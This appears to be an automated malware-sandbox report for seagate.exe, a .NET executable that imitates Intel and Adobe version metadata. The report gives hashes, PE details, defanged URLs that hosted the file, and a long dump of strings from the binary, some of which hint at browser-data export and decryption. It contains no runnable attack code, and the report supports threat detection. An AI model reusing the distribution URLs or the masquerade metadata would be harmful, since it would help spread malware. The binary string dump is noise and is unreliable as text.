MalScore
100/100
MalFamily
Malicious

seagate.exe

Is DLL Packer Anti Debug Anti VM Signed XOR AntiVirus 13/67 Related 2238
File details Download PDF Report
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size: 645.50 KB (660992 bytes)
Compile time: 2017-11-25 13:49:17
MD5: fdf777c8c92355ad95c5ab7e4aa0a32a
SHA1: bde8b46494422edaf3aed8faa0a84f76e3c3f5fc
SHA256: 61d29ce38804d80d3711535087419f3d48bce36fd3bf346860a1a257988f591c
Import hash: f34d5f2d4577ed6d9ceec516c1f5a744
Sections 3 .text .rsrc .reloc
Directories 3 import resource relocation
First submission: 2017-11-25 15:54:18
Last submission: 2017-11-25 16:00:06
Filename detected: - seagate.exe (3)
URL file hosting
hXXp://csk-bip-lubelskie.pl/wbw/seagate.exeVirusTotal
hXXp://csk-bip-lubelskie.pl/b5/seagate.exeVirusTotal
hXXp://csk-bip-lubelskie.pl/wd/seagate.exeVirusTotal
Antivirus Report
Report Date Detection Ratio Permalink Update
2017-11-25 14:41:07 [13/67] VirusTotal
PE Sections 2 suspicious
Name VAddress VSize Size MD5 SHA1
.text 0x2000 0x39b54 236544 04b47f820fb81c5fca9c49e69a2b7a1a 829e23fde169f08c194d58cf4d03f180a12ea313
.rsrc 0x3c000 0x67540 423424 5abac4a8f3eb50253df0c866a8235a33 3def51cef428cecb629ef82820c20ee500ef31fc
.reloc 0xa4000 0xc 512 8ba708b2cbe42ae2d42756278440f3e3 667de96fe5cd2df503194000bf2dbf24747588fb
PE Resources
Name Offset Size Language Sublanguage Data
DISPATCH_TABLE 0x3c724 1270 LANG_ENGLISH SUBLANG_ENGLISH_US
PRODUCT_INFO_XML 0x3cc1c 15616 LANG_ENGLISH SUBLANG_ENGLISH_US
RT_BITMAP 0x82c48 43132 LANG_ENGLISH SUBLANG_ENGLISH_US
RT_ICON 0xa1df0 1128 LANG_ENGLISH SUBLANG_ENGLISH_US
RT_STRING 0xa2258 138 LANG_ENGLISH SUBLANG_ENGLISH_US
RT_GROUP_ICON 0xa23a4 20 LANG_NEUTRAL SUBLANG_NEUTRAL
RT_VERSION 0xa27ac 1124 LANG_ENGLISH SUBLANG_ENGLISH_US
RT_MANIFEST 0xa2dfc 1859 LANG_ENGLISH SUBLANG_ENGLISH_US
  • API Alert
  • Anti Debug
Meta Info
LegalCopyright: Copyright 2012-2015, Intel Corporation
Assembly Version: 6.5.10.4358
InternalName: IGFXTRAY.exe
FileVersion: 6.5.10.4358
CompanyName: Intel Corporation
LegalTrademarks:
Comments: igfxTray Module
ProductName: Intel(R) Common User Interface
ProductVersion: 6.5.10.4358
FileDescription: Intel(R) Common User Interface
Translation: 0x0000 0x04b0
OriginalFilename: IGFXTRAY.exe
XOR
No XOR informations found in this file.
Signature
This file isn't digitally signed
Packer(s)
Microsoft Visual C# / Basic .NET
Microsoft Visual Studio .NET
.NET executable
Microsoft Visual C# v7.0 / Basic .NET
File found
FIle type: Library
mscoree.dll
IP Found
No IP detected
URL(s)
https://gc-qa.licenses.adobe.com/server/services/check/v1</PostRulesData
https://gc-qa.licenses.adobe.com/server/services/installation/v1</NotifyInstall
https://gc-qa.licenses.adobe.com/server/services/rules/v1</FetchRules
https://gc-qa.licenses.adobe.com/server/services/update/v1</CFU
http://schemas.microsoft.com/SMI/2005/WindowsSettings
String too long
<?xml version="1.0" encoding="utf-8"?> <DispatchInfo version="1.0"> <DispatchTable version="1.0"> <Table scope="PR"> <CFU>https://gc-qa.licenses.adobe.com/server/services/update/v1</CFU> <FetchRules>https://gc-qa.licenses.adobe.com/server/services/rules/v1</FetchRules> <PostRulesData>https://gc-qa.licenses.adobe.com/server/services/check/v1</PostRulesData> <NotifyInstall>https://gc-qa.licenses.adobe.com/server/services/installation/v1</NotifyInstall> </Table> <Table scope="GM"> <CFU>https://gc-qa.licenses.adobe.com/server/services/update/v1</CFU> <FetchRules>https://gc-qa.licenses.adobe.com/server/services/rules/v1</FetchRules> <PostRulesData>https://gc-qa.licenses.adobe.com/server/services/check/v1</PostRulesData> <NotifyInstall>https://gc-qa.licenses.adobe.com/server/services/installation/v1</NotifyInstall> </Table> </DispatchTable> <DTSignature>vZVPKRNy4TM9TgWeMoKUIspUXBZz8aRVJhD08NOS0Ldp/Z0kQl+zTpjwFFq2zdsWBiDhrHqjGctncubxSPHPPVv8+HrFrOwC5qSDz1ZXUbrrSLG27PBEXlv0zza6hWnpNcRwDbMglOVlLlWH9Z22sWGJRq/c7FJDzVl1wpz0x3Lf1FK6HJMuePmpkSrNKiNOo9kC0vqIi6oT9VNVwCWfAjFJ8Gdxzsy5u2aP/Jc9do7775ev0LntIgIjGFwJYFOPDB+f29I5KYukr8GkQ6i3NKg0bMF9/B8wxSRiHBKErugcN/zcHyf92NuoAdJE5ZKgCPb8Xz+i+y7FeJoUZEVNxw==</DTSignature> </DispatchInfo>
Assembly Version
PRODUCT_INFO_XML
Wed Aug 23 2017 10:59:31
VarFileInfo
Comments
AdobeGCClient
koi
InternalName
BuildDate
Adobe GC Client Application
4.4.0.652 BuildVersion: 4.4; BuildDate: Wed Aug 23 2017 10:59:31
4.4.0.652,4.4
ADOBEGCCLIENT
MAINICON
Intel Corporation
Intel(R) Common User Interface
StringFileInfo
Translation
DISPATCH_TABLE
4.4.0.652
Copyright 2012-2015, Intel Corporation
FileVersion
VS_VERSION_INFO
040904b0
000004b0
AdobeGCClient.exe
(Adobe Genuine Software Integrity Service
ProductVersion
FileDescription
Adobe Systems, Incorporated
OriginalFilename
LegalCopyright
6.5.10.4358
CompanyName
BuildVersion
LegalTrademarks
ProductName
Copyright 2014 Adobe Systems Incorporated. All rights reserved.
igfxTray Module
IGFXTRAY.exe
S!su
UHC4
jxtu
X8z?
75DT<-
{?|
HX_4p
K*$
|@ /
G?)W
9g9LC
Y<_q
.Wq2e
Int32
RuntimeHelpers
/ v?
LiteralDecoder
%%%mmm
N{9}
:M-`
2\Z$
+ 7N=
laQ
XY}_
KR}!P
s*+[
VqQf
N/l){
9I{YP
(nmld
+&H .
mJPi
ResolveEventHandler
?_b`
b]+B,
# IQ
\A}XLJ$B=
\tq`
YOn7.
}; %
HxfK
-4|5
X\U`
2OqK
FilesHelper
zs*H
`e()l&-l&-l&-l&-l&-k&-k&-k&-k&-j&-j&-i&-m+/f%+f'+i&-h&,c')c'*
<i"s
(R$m
U( Bb
W%y"
bhG3
O5+"W
O =h
6^jHC
)Ry$+[
E. S{l~J
&[O&
k?2{z
Wi+O
}ge:
lN_
e,
"+n
Ldd@
GSV7h
a%6(} Z
m) v0
q\D`
|tvG
y_7 Z,
m,SM.?
Mg>H5
/V?R*
``````___```````````````___]]]PPP
5kJ$]
y~]_
w.S;*>*+F.1F.1F.1E-0E-0C,/A+-Y@'
@P0)
,WW~
gy;l|8
B)k(
BV3u
?Q=R
o>bK
)O%o
Hu*0!
tEEK}
9 SUb
PNG
Qvf7
*n=(
HxHmEd
?<(*T
bg6
4uj9
>&jq!R
###########################"""$$$***222@@@
KOZl
Jwjm
/ _&
^^^<<<
H@c%` d
CgKq$N
.cctor
5#<D0
lvgB
H8JA
'A4[
ko(*v&/v&/v&/t'.
zzz```VVVmmm
0#&U
+qt5R#
l{D RJ|
Nqf+nO l
N$Ox
S V/
d10G
vbQO
L@9A
zA24%
(I~
e#jP
,c[=`
%omA
_s[4
#pms
qOVJ
%e_M
> )d
L20pb
X f8
m{:`
irpu
?/O{
C_NN
-x-5
Z4Tv
."h+
666xxx
qC!4s
<L'
VFNs+
6#R_
_pos
3sz"
{&8X
\UAKO
GCHandleType
Z=p!$
;Fo9F)
5!N/
gyXH
H.:6
2k0j
s0lPm
$t/LQ
q&gl
H^0*
j3#
]r H"
n3/N
4[fV
H %q
$na?
R$<d 5rG-Y
GetState
T%=']'l
7' 8,
m<e4F
SE!e
Rbi[
Write
yD=a'*d&,e&,e&,e&,e&,e&,e&,_'(]'']'(]''a'*f&,e&,e&,e&,e&,e&,e&,e&,d&,d&,d&,d&,d&,d&,d&,`'*\&(]%)]$*]%)\&)['(a'+a&+a&+`&+`&+_&+_&+_&+_&+_&+Z')tC:
(Lz:x
_./BL
---EEERRR===
z l `}
!mB
xkhT
zB,
.DY62
~",+h
x:E$
P5?n
AssemblyCompanyAttribute
Ow\v
E?l',o&.o&.p&.p&.p&.p&.r(/
Sgr6
DLr0<
bY+ uC;9
h0F
^|(+
KEU-
+'?(&1`
m_HighCoder
f9{P
|%Mv:
DOU.w
>l}$
q!p-
I' I'
%p!evMG
*%:B
|7@5
^QT
^q}m
p+bR5
($nX
1m y
l,2/
wD<^')b&+b&+b&+c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,c&,b&+b&+b&+b&+b&+a&+a&+a&+a&+a&+`&+`&+`&+_&+_&+_&+_&+_&+_&+^&+^&+^&+]&+]&+\&+\&+X')sC9
a:$0
Ao/>
aB)%
lQ^f
qqq000
"4 #5!$6"$7#%7#%8#&9$'9$'9$':%(:%(:%(:%(:%(:%(:%(:%(:%(:%(9$'9$'9$'8#&7#%7#%6"$5!$4 #4 #2
Eq/,f\
B6 w {
"{[*
AppDomain
^i;/
VX7{d
._p}
=zj-
BeO`
=W1w0
`vbI'
~o|e\{PI
~E]9
FBr',u&/v&/v&/w&/w&/x&/x&/y&/y&/y&/z&/z&/z&/z&/z&/z&/y&/y&/x&/x&/x&/w&/v&/v&/u&/u&/u&/t&.s&.s&.r&.r&.q&.p&.p&.p&.o&.o&.n&-m&-m&-l&-k&-j&-g'+}D=
get_CurrentDomain
hV j
x61'
2.8S
Dj6!
"gK yF
^9$
X{8V
;MUb
|J]C_
8=n?5
a Ts
\_rHk
nxRZ9
YF s
N|[{h
t5~J
ReF?
DT{>5 b
ResolveSignature
>q2p
s2']3%
njc\
:4PMDH[r
_w.b
mEp1
R ;u
72+a
MainWindow
otrhk`
Tf}
")Me(
>w<1
7453
w?ao
_fgc
&0lW
%*O0jQT
Decompress
)(Ts
fX ,
Ie@;SrR
#}w5A
-4*>D
ToZl
:Rqk+
?/y,
+$ $
2K <jM
3 x
fNo.0f'*j&-j&-i&-i&-h&,h&,g&,f&,b'*yC<
9 aA
M957e
pUg'*k&-k&-j&-j&-j&-i&-e'+{D<
<='?
u d`d
#Blob
>v/VA
+h@W
>j;A
;@7N
L:l[
~Td&
(I14K24K35M47O68P79P79R7;S8<
D< w
pHr\
r7y0
z"yPk
0~"=5
!4 #4 #6"$6"$7#%8#&9$'9$':%(:%(:%(:%(;&(;&(;&(;&(;&(;&(;&(;&(:%(:%(:%(:%(9$'9$'8#&7#%4!"2
V b5
zAc
$=u
\ B3
hf(|W
t/PQfg>{
c" N
Y\O"Kw
A\6 K2
Decrypt
%ZHe ,b{
Q&C7^
(^o_N
@pj`dK2
4V=&1
zF965
=6qJM
j5s/
gO!J
IQI&
?}\W
3A-G
5UGb
Prob
F'1>
84L| NgI+
:?)+?)+?)+?)+?)+?)+?)+>(*=()=()=()<'(;&(:%(
XFC
DecodeWithMatchByte
,HQVb
0/bm(S
yA6"
9'I@o
A[>f
NZkq
z Y`
^Bs|
`Kn$t
qj@N
q| w7
M[z
F MG
WeJ/
$]w
_cX*n
&?D|
V ]3
xawb
Un[X
GetByte
Xr ?
GE'#5@
yyy
e*Sz
NeutralResourcesLanguageAttribute
q!yZ.
V _4
Qv,[
Ff7<
\S/P
q;at
_windowSize
H=F?
eGB~v
Yr+>{
F 4$
B/Dq
3ujfP
u ^48
XP2'
P0df
1 RL
String
sk,Z
wQ$%Gd_
$M47O68P79Q7;S8<U:=U;>W<>X=?K46K46K46I35E03E/2D.1D.1F/3H14K35M47L35K24I14G/2F.1E-0C,/A*-@*,?)+=();&(:%(8#&6"$4 #3
Lw0Wt
zHco
{mQ2<maZ
0] P&1
5cr(
9|rL[
8kzeV
u 9;2
!a1
~WXmQY~4
~ Ql
m_RepLenDecoder
W1p\
gD8[
+++[[[
@*k~
S0GHFQ+};
|#4^
Eo
sI8?
0#6
cw#$
6JOz
Ajio
i ^RAE
Sj >Z]
H bXAb
<d`_
:`-Q&
Ms:&
DataType
ny-1v'/v&/u&/u&/u&/t&.t&.s&.r&.r&.q&.p&.p&.p&.o&.o&.n&-m&-m&-l&-k&-j&-g'+}D<
e*H03I14G/2F.1E-0C,/A*-@*,?)+<'(:%(9$'8#&6"$4 #2
h$w[
WNgn
WhUNe!/
vv/B
D^JSL
GetParameters
kk.0b&+c&,c&,b&+b&+a&+]')vC:
^~=w
z{5c2
)x\8
4@!LZc]
4cU9
vYtB
)<&
9R9}
Decode
?nHE
p KJ
-Vm0
7.S7q
.:z5
2o\:
.text
G.!T
h >G
-@*,B+-C,/E-0E-0F.1G/2G/2I14
~ey
jbb
9ooK
f[`vC[v7
v5gS
'*"K
FT= G~.
g#q%
5=7l!
w15c
'0)Sy i1
VcHz
im.p[
!Q5&
>x c
3Xn &
TextBoxLogHelper
09$':%(;&(<'(=()?)+?)+@*,@*,
uTulVz
[}2i
Di2B
(:Umk
G d{
[9&
"t/Y
^D3C4
6i)G
@w;8>
|D>f'+i&-j&-j&-j&-j&-j&-l(.
dr'-u&/t&.t&.p',m&+z24
,V
8m7;Lk
L(PSSI;
\X|@J
6,vw
_stream
ll4
Lr_}
q)nH&S
*,]7
ToBase64String
.8d&
8EBHd
2a?2
Decoder2
1uKo
L( L(
D3zWE
{E1
:"!G
9@*,@*,@*,@*,@*,@*,?)+?)+?)+?)+>(*=()<'(;&(
ZO@.)\
_jVC4g
Tu d
N961
@ m
z.+ U;
Rgf"
E#7D
Ogz$IFB
fs'-v&/u&/u&/u&/t&.s&.s&.r&.q&.q&.p&.p&.p&.o&.n&-n&-m&-l&-l&-k&-j&-g'+}D<
FAs'-w&/w&/x&/y&/z&/z&/{'0
MuT|
_Pb
SyYd(
vD;\')`&+`&+`&+`&+`&+a&+a&+a&+a&+a&+a&+a&+a&+a&+a&+a&+`&+`&+`&+`&+`&+`&+_&+_&+_&+_&+_&+_&+_&+_&+_&+^&+^&+^&+]&+]&+]&+\&+\&+\&+[&+[&+[&+Z&+V')qC9
S@f..]')b&+a&+a&+`&+`&+_&+_&+_&+[')uC:
*C9J
Rdy/
sagN
~}J1
Jt._
{q^l
Free
hJy^!
>P?^#
Y fB
BR)O
'y"c
K24K35M46M47O68O68P79P79P79P79P79P79O68O68M47M47K35K24J24I14G/2F.1E-0C,/B+-@*,?)+>(*<'(;&(:%(9$'7#%5!$3
t,]_
4Yi<
/+\I1/
KFhq]5m
A`aY
+o,>
H/=*j
5:tZ
giwb
o|)x
WIn
VL<_
R;'Y
"|\ n
_OX,
(pDt
8oy%
EChH
U 7$
H.M"
`.rsrc
* pI{q
1s9!
111---
%S/JhX
H6F_YH
W(Yf
q7.;
z|K
IpAPI
uNon
2}iu
qW8<%
: ''
Ue+G>
k" `
"tR9l
N) N)
H&*|
IE(3JLD
GGGBBB
?UNm3P
Q=Fo4(o
qne|
\j~u
(2ZLQ
w]k&*i()
36\
/{oKY
"7#%5!$4 #2
5=]*
mwR#
@1Mk
i<l
hB]x
.ctor
8D1%$
,yF<
^;TM%3F
oc$`
get_ManifestModule
%5K{
#!04
V|G63
}KH
DecodeDirectBits
k7z2
NNN
PNoz
= $!
Fjv
Flush
:G]:
m:, Z
Spe,
'U:=U:=U:=S8<R7;Q7;P79
bnvzR>
!lVc
L~
s >0X
5jedC
I!Jv
#Y7dS
l%(D
xc1mp
wLB5z
nk@rr
3:"M
LenDecoder
)en
M*L5
ZO[~
C-nq
fmqt
^x*^
${gZ
1LwA
v(Ad
kp))w'.w'.p'*{34
OperationMode
gSP`
=|[bi
z ml,
F~@r3P
p2K~
D(KH+OG
|4"0
7^0R5
#a]BTG
g+62<
`$BX
6`bw
SuYS
xKC=m
N9uD
j&h'
x%5ag
}U- /
pVc=
jjKM
6Y: ,
N<]i
v,0;
j>a0
4B|%,^Uk0
G,ui
a5oO
_FT5
Ma1X
0&>l U)
vF~q
mJ/Y
q1P*
S_<S|
wD;]')a&+a&+a&+b&+b&+b&+b&+b&+b&+b&+b&+b&+b&+b&+b&+b&+b&+a&+a&+a&+a&+a&+a&+`&+`&+`&+`&+_&+_&+_&+_&+_&+_&+_&+^&+^&+^&+]&+]&+]&+\&+\&+[&+[&+W')rC9
5+2,
/%.f8
Q#FLY22
,fsP^
4^U*
`3'E
GetBytes
AnJ}
TargetFrameworkAttribute
!o!
O}&=
-<^o
JvQr7d
l@j'
\MF_
QA}.
_X$i
F>e'+i&-i&-h&,g&,g&,f&,f&,b'*yC<
K*}./k
)Mp]
oWx=+
xpHq
/0 G
` Y$
gz
ev{(
V ay/
$$$@@@QQQ;;;
u9 4
A*T80
f)5k
su"P)
G00 %
eUhE
AESxWin.Properties.Resources.resources
STAThreadAttribute
},]x2 p
<Y*C
$>`a2
O$w!
mqY|@
21K'w
":eE!
-g6o
PY0IQ
A3 9
{8dW
XlHW("
m_IsRepDecoders
%(<M
Ffy^
!+rm
(bi
|a);
h]'b
`W ?mm
AESxWin.MicrosoftEdgeBrowserExporter.resources
H)E&
?08^
r8g
!J0Y!
{Hs1#
/%4s
t%DPe
tC;Z')^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+^&+]&+]&+]&+]&+\&+\&+\&+\&+\&+[&+[&+[&+Z&+Z&+Z&+Y&+Y&+Y&+Y&+Y&+Y&+Y&+U')qB9
B1Z LE
^-NPS
g]2
$V<>W<>V;>S9<N68O91
Invoke
9v0W
_streamPos
{ tZ
System.IO
J{;,1.
&)B;^ ikKz
-4RH
c S:D
F7v}
*p-$
s9GG
<svd@K
K8R6
"i(mNC
|M&\
E7~lK
(va
e8'
N6lk
=()=()=()=()=()=()=()=()<'(<'(;&(:%(:%(:%(2 ".
,Y@/H03F.1E-0C,/B+-@*,?)+;'(9$'8#&9$'7#%5!$4 #2
)dpO
Tz[!'R
UEg\
;duC
*z%&j)
'rRNa_6
mv9d
F|X8O
<ProductInfo> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CS5.5\Support Files" adobeCode="{E82097B9-A3B8-404A-9A92-AC16A8AC9576}" exe="AfterFX.exe" version="10.5">AfterEffects-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CS6\Support Files" exe="AfterFX.exe" version="11">AfterEffects-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CS5\Support Files" adobeCode="{DA1B174B-4297-467C-9EF8-0AB8D4D5171E}" exe="AfterFX.exe" version="10.0">AfterEffects-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CC\Support Files" exe="AfterFx.exe" version="12">AfterEffects-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Encore CS5" adobeCode="{A334FDED-DCCA-481E-B226-F902CCC419D2}" exe="Adobe Encore.exe" version="5.0.0.508">EncoreApp-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Encore CS5.1" adobeCode="{FB720658-01F4-4002-BB69-49E66CD82E30}" exe="Adobe Encore.exe" version="5.0.0.342">EncoreApp-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Bridge CS5.1" exe="Bridge.exe" version="">Bridge-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Bridge CS6 (64 Bit)" exe="Bridge.exe" version="">Bridge-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Contribute CS5\App" adobeCode="{DE60F0DE-469A-42DC-A678-978313210057}" exe="Contribute.exe" version="6.0">Contribute-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Contribute CS5.1\App" adobeCode="{DD309051-FACF-4A5E-87F1-C57154BB3DE8}" exe="Contribute.exe" version="6.1">Contribute-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Dreamweaver CS5" adobeCode="{C79312BD-3E76-4474-A10C-1435D1856A4B}" exe="Dreamweaver.exe" version="11.0">Dreamweaver-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Dreamweaver CS5.5" adobeCode="{0215A652-E081-4B09-9333-DC85AAB67FFA}" exe="Dreamweaver.exe" version="11.5">Dreamweaver-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Fireworks CS5" adobeCode="{164965E8-4BB0-4EEB-AFBA-75785A2A2A7F}" exe="Fireworks.exe" version="11.0">Fireworks-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Fireworks CS5.1" adobeCode="{8DADF070-FE60-4899-8EF0-4242E7702F7D}" exe="Fireworks.exe" version="11.1">Fireworks-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Flash CS5" adobeCode="{CFC9F871-7C40-40B6-BE4A-B98A5B309716}" exe="Flash.exe" version="11.0">FlashPro-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Flash CS5.5" adobeCode="{D97AF04B-B70A-4862-BC25-31E6D9C4A529}" exe="Flash.exe" version="11.5">FlashPro-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Illustrator CS5\Support Files\Contents\Windows" adobeCode="{9B97EC91-B3FD-4BFF-88FC-5345A26AC2E7}" exe="Illustrator.exe" version="15.0">Illustrator-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Illustrator CS5.1\Support Files\Contents\Windows" adobeCode="{23767F5D-A80C-4264-B8EA-ED4085FC332A}" exe="Illustrator.exe" version="15.1">Illustrator-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Illustrator CS6\Support Files\Contents\Windows" exe="Illustrator.exe" version="16">Illustrator-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe\Adobe InDesign CS5" adobeCode="{F9766AC1-1461-1033-B862-DF8FE1C033BE}" exe="InDesign.exe" version="7.0">InDesign-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CS5.5" adobeCode="{857CC5F0-040E-1016-A173-D55ADD80C260}" exe="InDesign.exe" version="7.5">InDesign-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe OnLocation CS5" adobeCode="{ABDC1F61-2C50-4BB1-ACDA-66D412D72582}" exe="Adobe OnLocation.exe" version="5.0">OnLocationApp-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe OnLocation CS5.1" adobeCode="{5D2A85AB-7391-4EAC-AA61-D5D9C09E4F17}" exe="Adobe OnLocation.exe" version="5.1">OnLocationApp-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CS5 (64 Bit)" adobeCode="{7DFEBBA4-81E1-425B-BBAA-06E9E5BBD97E}:{667C8B6C-3EAF-4646-A8EC-D85CCC4D3D84}" exe="Photoshop.exe" iconId="136" version="12.0">Photoshop-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CS5.1 (64 Bit)" adobeCode="{10355145-8A4C-47F3-994B-B9B81B4DABF5}:{08EF22BC-43B2-4B4E-BA12-52B18F418F38}" exe="Photoshop.exe" iconId="136" version="12.1">Photoshop-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CS6 (64 Bit)" adobeCode="{3289C0E8-78B9-47D4-98E5-F25BFF1CBED4}" exe="Photoshop.exe" iconId="135" version="13">Photoshop-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CC" adobeCode="{A349EDF2-9A03-4B82-BDC0-6C2D8CD4312C}" exe="Photoshop.exe" iconId="133" version="14">Photoshop-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CC 2014" exe="Photoshop.exe" iconId="133" version="15">V7{}Photoshop-15-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Photoshop CC 2015 (32 Bit)" exe="Photoshop.exe" iconId="133" version="16">V7{}Photoshop-16-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Premiere Pro CS5" adobeCode="{C21384F7-1A36-4706-95AB-B09BCE3C144F}" exe="Adobe Premiere Pro.exe" version="5.0">PremiereProApp-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Premiere Pro CS5.5" adobeCode="{CE45CAE5-0B56-4C52-AE07-98A05027A049}" exe="Adobe Premiere Pro.exe" version="5.5">PremiereProApp-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Soundbooth CS5" adobeCode="{CBE4F6C3-788E-4CAC-BA25-26FE39A3BC8C}" exe="Adobe Soundbooth CS5.exe" version="3">Soundbooth-CS5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Audition CC" exe="Adobe Audition CC.exe" version="6">Audition-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Dreamweaver CC" exe="Dreamweaver.exe" version="13">Dreamweaver-CS7-Win-GM</leid> <leid exe="EdgeAnimate.exe" version="3">Edge-CS7-Win-GM</leid> <leid defaultPath="[AdobeProgramFiles]\Adobe Animate CC 2017" exe="Animate.exe" version="16">V7{}Animate-16-Win-GM</leid> <leid exe="Flash.exe" version="13">FlashPro-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Illustrator CC\Support Files\Contents\Windows" exe="Illustrator.exe" version="17">Illustrator-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CC" exe="InDesign.exe" version="9">InDesign-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Prelude CC" exe="Adobe Prelude.exe" version="2">Prelude-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Premiere Pro CC" exe="Adobe Premiere Pro.exe" version="7">PremiereProSuite-CS7-Win-GM</leid> <leid exe="SpeedGrade.exe" version="7">SpeedGrade-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CC 2015" exe="InDesign.exe" version="11">V7{}InDesign-11-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CC 2017" exe="InDesign.exe" version="12">V7{}InDesign-12-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CC 2018" exe="InDesign.exe" version="13">V7{}InDesign-13-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CC 2015\Support Files" exe="AfterFX.exe" version="13.6">V7{}AfterEffects-14-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Acrobat 11.0\Acrobat" exe="Acrobat.exe" version="11">V6{}AcrobatStd-AS2-Win-GM,V6{}AcrobatPro-AS2-Win-GM</leid> <leid exe="FlashBuilder.exe" version="">FlashBuilder-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe After Effects CC 2014\Support Files" exe="AfterFX.exe" version="13.0">V7{}AfterEffects-13-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Audition CC 2014" exe="Adobe Audition CC.exe" version="7">V7{}Audition-7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Dreamweaver CC 2014.1" exe="Dreamweaver.exe" version="15">V7{}Dreamweaver-15-Win-GM</leid> <leid exe="Flash.exe" version="14">V7{}FlashPro-14-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Illustrator CC (64 Bit)\Support Files\Contents\Windows" exe="Illustrator.exe" version="18">V7{}Illustrator-18-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InCopy CC" exe="InCopy.exe" version="9">InCopy-CS7-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InCopy CC 2014" exe="InCopy.exe" version="10">V7{}InCopy-10-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe InDesign CC 2014" exe="InDesign.exe" version="10">V7{}InDesign-10-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe\Adobe Photoshop Lightroom 5.7.1" exe="lightroom.exe" version="5">V7{}Lightroom-55-Win-GM</leid> <leid exe="Adobe Prelude.exe" version="3">V7{}Prelude-3-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Premiere Pro CC 2014" exe="Adobe Premiere Pro.exe" version="8">V7{}PremierePro-8-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe SpeedGrade CC 2014" exe="SpeedGrade.exe" version="8">V7{}SpeedGrade-8-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Media Encoder CS5.5" exe="Adobe Media Encoder.exe" version="">AdobeMediaEncoder-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Media Encoder CS6" exe="Adobe Media Encoder.exe" version="">AdobeMediaEncoder-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Audition CS5.5" adobeCode="{D5B1535A-FDFC-4B40-B2E2-21DA83D9CB57}" exe="Adobe Audition.exe" version="4">Audition-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Audition CS6" exe="Adobe Audition CS6.exe" version="5">Audition-CS6-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Device Central CS5.5" exe="DeviceCentral.exe" version="">DeviceCentral-CS5.5-Win-GM</leid> <leid defaultpath="[AdobeProgramFiles]\Adobe Extension Manager CS6" exe="Adobe Extension Manager.exe" version="">ExMan-CS6-Win-GM</leid> <leid 